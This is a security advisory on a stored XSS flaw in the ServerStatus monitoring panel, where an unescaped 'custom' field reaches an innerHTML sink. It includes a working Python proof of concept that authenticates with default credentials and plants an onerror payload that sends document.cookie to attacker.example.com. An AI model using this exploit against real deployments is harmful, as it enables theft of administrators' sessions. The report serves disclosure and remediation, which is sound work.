

# ServerStatus Stored XSS Vulnerability Report

## Fingerprint Information

**Affected Scope:** All versions of this branch (the vulnerable code has been present since its introduction); other ServerStatus derivative branches sharing the same `server/src/main.cpp` and `web/js/serverstatus.js` code are also highly likely to be affected.

## Vulnerability Analysis

### Vulnerability Overview

- **Issue Type:** Stored Cross-Site Scripting (Stored XSS, CWE-79), compounded by a secondary injection problem where the client-side string written to `stats.json` is not JSON-escaped.
- **Impact Description:** Any attacker holding managed node credentials can report a malicious `custom` field through the monitoring protocol, persistently injecting arbitrary HTML/JavaScript into the management panel pages. When operations personnel open the dashboard, the payload automatically executes, enabling theft of session cookies, forging administrative operations, or serving as a stepping stone for further attacks.
- **Affected Path:** TCP 35601 monitoring protocol `update` message → `json/stats.json` → all pages of the management panel ( `expand_custom` expanded row).

## Vulnerable Code

① Entry Point: The server accepts the `custom` string field reported by the client (the only string field not subject to numeric validation)

`server/src/main.cpp:163-164`

```
1 if(rStart["custom"].type == json_string)
```

```
2  str_copy(pClient->m_Stats.m_aCustom, rStart["custom"].u.string.ptr,  
3      sizeof(pClient->m_Stats.m_aCustom));
```

In the same message handler, all other fields (uptime/load/cpu/memory, etc.) are parsed as `u.integer` / `u.dbl` numeric values ( `main.cpp:133-158` ), while only `custom` is accepted verbatim as a string. This function processes `update` messages ( `main.cpp:108 HandleMessage` ), with data originating from the TCP peer.

## ② Storage: No escaping is performed when writing to stats.json

`server/src/main.cpp:240`

```
1 str_format(pBuf, sizeof(aFileBuf) - (pBuf - aFileBuf),  
2  "{ \"name\": \"%s\", ..., \"custom\": \"%s\" },  
3  ", ...);
```

`m_aCustom` is directly spliced into the JSON text using `%s` . Double quotes ( `"` ) in `custom` can break the JSON structure and inject arbitrary fields (a secondary issue), while HTML content such as `<script>` /event attributes is preserved intact.

## ③ Trigger: The management panel renders this field using innerHTML

`web/js/serverstatus.js:314`

```
1 ExpandRow[0].children["expand_custom"].innerHTML = result.servers[i].custom
```

The panel polls `json/stats.json` via AJAX and assigns values field by field using `innerHTML` . When `innerHTML` inserts nodes like `<img onerror>` , no user interaction is required and no row expansion is needed — the payload executes as soon as the page updates.

# Attack Chain

- ```
1 Attacker (holds node credentials, the default value "password" is common)  
2 → TCP 35601 plaintext authentication (user:pass)  
3 → Sends update message with custom = XSS payload  
4 → main.cpp:163 str_copy stores into m_Stats.m_aCustom  
5 → main.cpp:240 writes to web/json/stats.json without escaping  
6 → Operations personnel's browser polls and retrieves stats.json
```

# Vulnerability Reproduction

Deploy following the project's included tutorial: the one-click script in `README.md` or `docker-compose.yml`.

**Prerequisites:** Possess the username/password of a managed node (configured in `server/config.json`; the example configuration uses the weak default `"password": "password"`, and early scans have also revealed a large number of deployments directly using passwords like `"1"` / `"2"` / `"3"`).

## Steps:

1. The attacker runs the PoC, connects to port 35601 of the server, and completes authentication;
2. The PoC continuously sends `update` messages with the `custom` field carrying the XSS payload;
3. The server writes the payload into `json/stats.json`;
4. When operations personnel open the ServerStatus management panel, the payload automatically executes after the page polls and refreshes (demonstration effect: exfiltrating `document.cookie` back to the attacker's server).

## PoC

(Python 3, implemented following the real client protocol, see `clients/status-client.py:150-222`):

```
1 import socket, json, time
2
3 SERVER = "192.168.1.100" # ServerStatus server address
4 PORT = 35601             # Default monitoring protocol port
5 USER = "s01"             # Node username configured in server/config.json
6 PASSWORD = "password"    # Corresponding password (example config uses weak
                          # default)
7
8 # Use <img onerror> instead of <script>: <script> inserted via innerHTML does
  not execute,
```

```

9 # whereas the onerror event triggers immediately when the node is inserted
  into the DOM,
10 # requiring no user interaction whatsoever
11 XSS = "<img src=x
    onerror=\"fetch('https://attacker.example.com/c?' + document.cookie)\">>"
12
13 s = socket.create_connection((SERVER, PORT), timeout=10)
14 banner = s.recv(1024).decode(errors="ignore")
15 assert "Authentication required" in banner, banner
16 s.sendall(f"{USER}:{PASSWORD}
17 ".encode())
18 resp = s.recv(1024).decode(errors="ignore")
19 assert "Authentication successful" in resp, resp
20 s.recv(1024) # IPv4/IPv6 info returned by the server
21
22 payload = {
23     "uptime": 1000, "load": 0.1, "cpu": 1.0,
24     "memory_total": 100, "memory_used": 1,
25     "swap_total": 0, "swap_used": 0,
26     "hdd_total": 100, "hdd_used": 1,
27     "network_rx": 0, "network_tx": 0,
28     "network_in": 0, "network_out": 0,
29     "custom": XSS,
30 }
31 for _ in range(3): # Send multiple rounds to ensure the server writes to disk
32     s.sendall(("update " + json.dumps(payload) + "
33 ").encode())
34     time.sleep(2)
35 s.close()
36 print("Payload delivered, waiting for panel polling refresh to trigger")

```

## Remediation Recommendations

1. **Server-side:** At `main.cpp:240`, perform JSON string escaping on `custom` before writing to `stats.json` (at minimum, escape `"`, `\`, and control characters), while also limiting field length (`str_copy` already has a buffer limit, but truncation could create partial tags).
2. **Frontend:** At `serverstatus.js:314` and the other 16 `innerHTML` assignments in the same file, replace them with `textContent` (for plain text scenarios) or introduce DOMPurify sanitization; fields like `result.servers[i].name/type/location`, though originating from administrator configuration, are also recommended to be handled together.

3. **Deployment side:** Change the default weak passwords in `config.json` ; monitoring port 35601 is not recommended for public network exposure — use a firewall to restrict access to managed node IP ranges.